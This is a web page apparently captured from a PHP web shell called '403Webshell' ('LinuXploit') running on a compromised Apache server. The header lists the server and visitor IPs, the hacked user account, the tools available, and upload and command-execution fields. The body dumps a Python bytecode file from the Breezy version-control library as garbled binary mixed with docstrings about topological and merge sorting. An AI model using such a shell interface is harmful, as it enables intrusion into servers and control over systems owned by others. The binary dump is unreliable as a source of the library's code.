403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/__pycache__/tsort.cpython-313.pyc
�

p��g�|��l�SrSSKJr SSKJr SSKJr /SQrSr"SS5r	S
S
jr
"SS5rg	)zTopological sorting routines.�)�errors)�graph)�revision)�MergeSorter�
TopoSorter�
merge_sort�	topo_sortc�`�[R"[U55nUR5$)a^Topological sort a graph.

graph -- sequence of pairs of node->parents_list.

The result is a list of node names, such that all parents come before their
children.

node identifiers can be any hashable object, and are typically strings.

This function has the same purpose as the TopoSorter class, but uses a
different algorithm to sort the graph. That means that while both return a
list with parents before their child nodes, the exact ordering can be
different.

topo_sort is faster when the whole list is needed, while when iterating
over a part of the list, TopoSorter.iter_topo_order should be used.
)�
_mod_graph�
KnownGraph�dictr	)r�kgs  �./usr/lib/python3/dist-packages/breezy/tsort.pyr	r	s$��$
�	�	�t�E�{�	+�B�
�<�<�>��c�&�\rSrSrSrSrSrSrg)r�0c�$�[U5Ulg)a�Topological sorting of a graph.

:param graph: sequence of pairs of node_name->parent_names_list.
              i.e. [('C', ['B']), ('B', ['A']), ('A', [])]
              For this input the output from the sort or
              iter_topo_order routines will be:
              'A', 'B', 'C'

node identifiers can be any hashable object, and are typically strings.

If you have a graph like [('a', ['b']), ('a', ['c'])] this will only use
one of the two values for 'a'.

The graph is sorted lazily: until you iterate or sort the input is
not processed other than to create an internal representation.

iteration or sorting may raise GraphCycleError if a cycle is present
in the graph.
N)r
�_graph)�selfrs  r�__init__�TopoSorter.__init__1s��*�5�k��rc�4�[UR55$�zlSort the graph and return as a list.

After calling this the sorter is empty and you must create a new one.
��list�iter_topo_order�rs r�sorted�TopoSorter.sortedH���
�D�(�(�*�+�+rc#�# �URn[U5n/n/n[5nU(a�UR5upgURU5 UR[	U55 U(a�USnU(d6UR5n	UR5 UR
U	5 U	v� O[UR5n
X�;aM`X�;aMgURU
5nURU
5 UR[	U55 U(aM�U(aM�gg![a [R"U5ef=f7f)��Yield the nodes of the graph in a topological order.

After finishing iteration the sorter is empty and you cannot continue
iteration.
���N)
r�set�popitem�appendr�pop�add�KeyErrorr�GraphCycleError)rr�	visitable�pending_node_stack�pending_parents_stack�completed_node_names�	node_name�parents�parents_to_visit�popped_node�next_node_names           rr�TopoSorter.iter_topo_orderYs8���������J�	� ��!#��
 #�u���"'�����I��%�%�i�0�!�(�(��g��7�%�#8��#<� �'�#5�"8�"8�":�K�)�-�-�/�(�,�,�[�9�%�%�&6�%9�%9�%;�N�%�=� �%�6� �I�"'�)�)�N�";��'�-�-�n�=�)�0�0��g��?�E%�$��e��D$�I�%�4�4�5G�H�H�
I�s*�CE�D$�%2E�E�"E�$!E�E)rN)�__name__�
__module__�__qualname__�__firstlineno__rrr�__static_attributes__�rrrr0s��"�.,�"?@rrNc�6�[XX#5R5$)a_Topological sort a graph which groups merges.

:param graph: sequence of pairs of node->parents_list.
:param branch_tip: the tip of the branch to graph. Revisions not
                   reachable from branch_tip are not included in the
                   output.
:param mainline_revisions: If not None this forces a mainline to be
                           used rather than synthesised from the graph.
                           This must be a valid path through some part
                           of the graph. If the mainline does not cover all
                           the revisions, output stops at the start of the
                           old revision listed in the mainline revisions
                           list.
                           The order for this parameter is oldest-first.
:param generate_revno: Optional parameter controlling the generation of
    revision number sequences in the output. See the output description of
    the MergeSorter docstring for details.
:result: See the MergeSorter docstring for details.

Node identifiers can be any hashable object, and are typically strings.
)rr)r�
branch_tip�mainline_revisions�generate_revnos    rrr�s��,�u�*<�M�T�T�V�Vrc�@�\rSrSr/SQrS	SjrSrSrSrSr	Sr
g)
r�)�_completed_node_names�_first_child_stack�_generate_revnor�_left_subtree_pushed_stack�_mainline_revisions�_node_merge_depth_stack�_node_name_stack�_original_graph�_pending_parents_stack�_revno_to_branch_count�_revnos�_scheduled_nodes�_stop_revisionNc��X@l[U5UlUc/UlSUlO$[U5UlURSUl[
URSS5HyupVURUnUcMURUnU(dM1USU:XaM<URURU5 URURSU5 M{ URR5Ul
URVs0sHofSS/_M	 snUl0Ul/Ul
/Ul/Ul/Ul[#5Ul/Ul/UlUbZU[*R,:waEU[*R,4:wa/URR/U5n	UR1USU	5 ggggs snf)a�Merge-aware topological sorting of a graph.

:param graph: sequence of pairs of node_name->parent_names_list.
              i.e. [('C', ['B']), ('B', ['A']), ('A', [])]
              For this input the output from the sort or
              iter_topo_order routines will be:
              'A', 'B', 'C'
:param branch_tip: the tip of the branch to graph. Revisions not
               reachable from branch_tip are not included in the
               output.
:param mainline_revisions: If not None this forces a mainline to be
                       used rather than synthesised from the graph.
                       This must be a valid path through some part
                       of the graph. If the mainline does not cover all
                       the revisions, output stops at the start of the
                       old revision listed in the mainline revisions
                       list.
                       The order for this parameter is oldest-first.
:param generate_revno: Optional parameter controlling the generation of
    revision number sequences in the output. See the output description
    for more details.

The result is a list sorted so that all parents come before
their children. Each element of the list is a tuple containing:
(sequence_number, node_name, merge_depth, end_of_merge)
 * sequence_number: The sequence of this row in the output. Useful for
   GUIs.
 * node_name: The node name: opaque text to the merge routine.
 * merge_depth: How many levels of merging deep this node has been
   found.
 * revno_sequence: When requested this field provides a sequence of
     revision numbers for all revisions. The format is:
     (REVNO, BRANCHNUM, BRANCHREVNO). BRANCHNUM is the number of the
     branch that the revno is on. From left to right the REVNO numbers
     are the sequence numbers within that branch of the revision.
     For instance, the graph {A:[], B:['A'], C:['A', 'B']} will get
     the following revno_sequences assigned: A:(1,), B:(1,1,1), C:(2,).
     This should be read as 'A is the first commit in the trunk',
     'B is the first commit on the first branch made from A', 'C is the
     second commit in the trunk'.
 * end_of_merge: When True the next node is part of a different merge.


node identifiers can be any hashable object, and are typically strings.

If you have a graph like [('a', ['b']), ('a', ['c'])] this will only use
one of the two values for 'a'.

The graph is sorted lazily: until you iterate or sort the input is
not processed other than to create an internal representation.

iteration or sorting may raise GraphCycleError if a cycle is present
in the graph.

Background information on the design:
-------------------------------------
definition: the end of any cluster or 'merge' occurs when:
    1 - the next revision has a lower merge depth than we do.
      i.e.
      A 0
      B  1
      C   2
      D  1
      E 0
      C, D are the ends of clusters, E might be but we need more data.
    2 - or the next revision at our merge depth is not our left most
      ancestor.
      This is required to handle multiple-merges in one commit.
      i.e.
      A 0    [F, B, E]
      B  1   [D, C]
      C   2  [D]
      D  1   [F]
      E  1   [F]
      F 0
      C is the end of a cluster due to rule 1.
      D is not the end of a cluster from rule 1, but is from rule 2: E
        is not its left most ancestor
      E is the end of a cluster due to rule 1
      F might be but we need more data.

we show connecting lines to a parent when:
 - The parent is the start of a merge within this cluster.
   That is, the merge was not done to the mainline before this cluster
   was merged to the mainline.
   This can be detected thus:
    * The parent has a higher merge depth and is the next revision in
      the list.

  The next revision in the list constraint is needed for this case:
  A 0   [D, B]
  B  1  [C, F]   # we do not want to show a line to F which is depth 2
                   but not a merge
  C  1  [H]      # note that this is a long line to show back to the
                   ancestor - see the end of merge rules.
  D 0   [G, E]
  E  1  [G, F]
  F   2 [G]
  G  1  [H]
  H 0
 - Part of this merges 'branch':
  The parent has the same merge depth and is our left most parent and we
   are not the end of the cluster.
  A 0   [C, B] lines: [B, C]
  B  1  [E, C] lines: [C]
  C 0   [D]    lines: [D]
  D 0   [F, E] lines: [E, F]
  E  1  [F]    lines: [F]
  F 0
 - The end of this merge/cluster:
  we can ONLY have multiple parents at the end of a cluster if this
  branch was previously merged into the 'mainline'.
  - if we have one and only one parent, show it
    Note that this may be to a greater merge depth - for instance if
    this branch continued from a deeply nested branch to add something
    to it.
  - if we have more than one parent - show the second oldest (older ==
    further down the list) parent with
    an equal or lower merge depth
     XXXX revisit when awake. ddaa asks about the relevance of each one
     - maybe more than one parent is relevant
N�rT)rCr
rrErMr�	enumerate�remove�insert�copyrHrKrJrGrFrIrBr$rArLrD�
_mod_revision�
NULL_REVISIONr'�
_push_node)
rrr<r=r>�indexr�parent�graph_parent_idsr0s
          rr�MergeSorter.__init__�s���z .���5�k����%�')�D�$�"&�D��'+�,>�'?�D�$�"&�":�":�1�"=�D�� )��)A�)A�!�"�)E�F�O�E��-�-�e�4�F��~��#�{�{�8�4��#����"�f�,���K�K��!�(�(��0��K�K��!�(�(��F�3�% G�, $�{�{�/�/�1���@D�{�{�K�{�8�4��,�.�{�K���&(��#�!#���')��$�')��#�#%���&)�U��"�!#���
+-��'�
�"��m�9�9�9��}�:�:�<�<��k�k�o�o�j�1�G��O�O�J��7�3�=�:�
#��OLs�Gc�4�[UR55$rrrs rr�MergeSorter.sorted�r rc
#�|# �URnURnURnURnURnUR
nURRnURURURURURRUR4SjnURURURRURURURURURRURUR4
Sjn	U(a�USn
U
(dU	"5 OuUS(akUS(dUSRS5nSnSUS'OUSR5nSnX�;aMLU"U5n
SnU(aSnOSnUSU-nU"X�U
5 U(aM�SnUR"nUR$nURnU(a�UR5unnnUU:Xag['U5(dSnO/USSU:aSnO USSU:XaUSSUU;aSnOSnU(a
UUUUU4v� OUUUU4v� US-
nU(aM�gg![a* X�R;a[R "U5eGMdf=f7f)	r"c	���U"U5 U"U5 U"S5 U"[U55 Sn	U(aX�Sn	U	bU	Sn
SU	S'OSn
U"U
5 g![a N%f=f)z�Add node_name to the pending node stack.

Names in this stack will get emitted into the output as they are popped
off the stack.

This inlines a lot of self._variable.append functions as local
variables.
FNrOr)rr))r/�merge_depthr0�node_name_stack_append�node_merge_depth_stack_append� left_subtree_pushed_stack_append�pending_parents_stack_append�first_child_stack_append�revnos�parent_info�first_childs           r�	push_node�.MergeSorter.iter_topo_order.<locals>.push_node�s~��&
#�9�-�)�+�6�,�U�3�(��g��7��K���"(���"4�K��&�)�!�n��!&��A��#��$�[�1�� ����s�A�
A!� A!c
��U"5n
U"5nU"5nU"5 U"5 XZn
SnU
(aXmSSnUb@U(d)USnU	RUS5nUS-
nUX�'USUS4nO;USSUSS-4-nO+U	RSS5nUS-
nU(aSUS4nOSnUU	S'UXjS'U"U
5 U"X�U45 U
$![a N�f=f�zLPop the top node off the stack.

The node is appended to the sorted output.
NrOrr#)r)r)�get)�node_name_stack_pop�node_merge_depth_stack_pop�first_child_stack_pop�left_subtree_pushed_stack_pop�pending_parents_stack_pop�original_graphre�completed_node_names_add�scheduled_nodes_append�revno_to_branch_countr/r_rgr0�parent_revno�
base_revno�branch_count�revno�
root_counts                   r�pop_node�-MergeSorter.iter_topo_order.<locals>.pop_node�s1��$,�-�I�4�6�K�/�1�K�)�+�%�'�$�/�G��L���#)�!�*�#5�a�#8�L��'�"�!-�a��J�#8�#<�#<�Z��#K�L� �A�%�L�8D�)�5�)�!�_�l�A�>�E�
)��"�-��b�1A�A�1E�0G�G�E�3�6�6�q�"�=�
��a��
���
�A�.�E� �E�+5�%�a�(�$)�F��a� �$�Y�/�"�I�E�#B�C����= ����s�
C�
C�Cr#rOTFrN)rGrFrIrDrArLrr'r&rBrKrHr(rJr)rr*rMrC�len)r�node_name_stack�node_merge_depth_stackr-�left_subtree_pushed_stackr.�scheduled_nodes�	graph_poprhr{r1r3�is_left_subtreer0�next_merge_depth�sequence_number�
stop_revisionr>rrr/r_ry�end_of_merges                       rr�MergeSorter.iter_topo_order�s�����/�/��!%�!=�!=�� $� ;� ;��$(�$C�$C�!�#�9�9���/�/���K�K�O�O�	�$3�#9�#9�*@�*G�*G�-F�-M�-M�)>�)E�)E�%)�%<�%<�%C�%C��<�<�'	2�T!0� 3� 3�'=�'A�'A�"&�"9�"9�"=�"=�*C�*G�*G�&;�&?�&?��/�/��<�<�%)�%?�%?�%C�%C�#2�#9�#9�"&�"=�"=�=	�~�4�R�8��#��
�+�B�/�4�R�8�)>�r�)B�)F�)F�q�)I��*.��8<�1�"�5�*?�r�)B�)F�)F�)H��*/��%�=�!�%�"+�N�";��()�$�&�+,�(�+,�(�'=�b�'A�DT�'T�$��n��H��o�o�t���+�+�
��-�-���-�-���,;�,?�,?�,A�)�I�{�E��M�)����'�'�#�� ��$�Q�'�+�5�#�� ��$�Q�'�;�6���#�A�&�n�Y�.G�G� $��$���&�	�;��|�T�T�&�	�;��M�M��q� �O�+�o��;$�
%�*�-A�-A�A�"(�"8�"8��"I�I�%�
%�s7�FJ<�!J�)'J<�B/J<�J<�/J9�4J<�8J9�9J<c��URRU5 URRU5 URRS5 URR[U55 SnU(aURUSnUbUSnSUS'OSnURRU5 g![a N8f=f)z�Add node_name to the pending node stack.

Names in this stack will get emitted into the output as they are popped
off the stack.
FNrOr)	rGr&rFrDrIrrKr)rB)rr/r_r0rfrgs      rrV�MergeSorter._push_nodess���	
���$�$�Y�/��$�$�+�+�K�8��'�'�.�.�u�5��#�#�*�*�4��=�9����
�"�l�l�7�1�:�6���"�%�a�.�K�"�K��N��K����&�&�{�3���
��
�s�B>�>
C�
Cc��URR5nURR5nURR5nURR5 UR
R5 URUnSnU(aURUSSnUbTU(d=USnURRUS5nUS-
nXpRU'USUS4nOjUSSUSS-4-nOZURRSS5n	URRSS5n	U	S-
n	U	(aSU	S4nOSnX�RS'X�RUS'URRU5 URRXURUS45 U$![a GNf=frk)rGr'rFrBrDrIrHrKr)rJrlrAr(rLr&)
rr/r_rgr0rvrwrxryrzs
          r�	_pop_node�MergeSorter._pop_node�s����)�)�-�-�/�	��2�2�6�6�8���-�-�1�1�3���'�'�+�+�-��#�#�'�'�)��&�&�y�1�����
�#�|�|�G�A�J�7��:���#��)�!�_�
�#�:�:�>�>�z�1�M����!��:F�+�+�J�7�%�a��,��:��
%�S�b�)�\�"�-=��-A�,C�C���4�4�8�8��A�>�J��4�4�8�8��B�?�J��!�O�J���J��*����-7�'�'��*�&+���Y���"��"�"�&�&�y�1����$�$�
�T�\�\�)�%<�Q�%?�@�	
����C�
��
�s�F=�=
G�
G�NF)r5r6r7r8�	__slots__rrrrVr�r9r:rrrr�s-���I�$JO�U4�n,�M!�^4�85rrr�)�__doc__�rrrrrT�__all__r	rrrr:rr�<module>r�s>��"$��!�'�
B���,h@�h@�VW�2P�Pr

Youez - 2016 - github.com/yon3zu
LinuXploit